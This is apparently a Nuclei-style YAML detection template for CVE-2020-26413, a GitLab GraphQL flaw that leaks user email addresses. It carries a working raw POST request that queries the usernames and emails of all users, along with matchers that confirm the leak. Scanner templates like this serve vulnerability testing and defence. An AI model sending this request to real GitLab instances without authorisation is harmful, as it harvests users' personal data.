41 lines
1.2 KiB
YAML
41 lines
1.2 KiB
YAML
|
id: CVE-2020-26413
|
||
|
|
||
|
info:
|
||
|
name: GitLab information leak (CVE-2020-26413)
|
||
|
author: _0xf4n9x_
|
||
|
severity: medium
|
||
|
description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.4 before 13.6.2. Information disclosure via GraphQL results in user email being unexpectedly visible.
|
||
|
reference:
|
||
|
- https://gitlab.com/gitlab-org/gitlab/-/issues/244275
|
||
|
- https://gitlab.com/gitlab-org/cves/-/blob/master/2020/CVE-2020-26413.json
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-26413
|
||
|
tags: exposure,cve,cve2020,gitlab
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /api/graphql HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/json
|
||
|
Content-Length: 265
|
||
|
|
||
|
{
|
||
|
"query": "{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }",
|
||
|
"variables": null,
|
||
|
"operationName": null
|
||
|
}
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- "username"
|
||
|
- "email"
|
||
|
- "avatarUrl"
|
||
|
condition: and
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|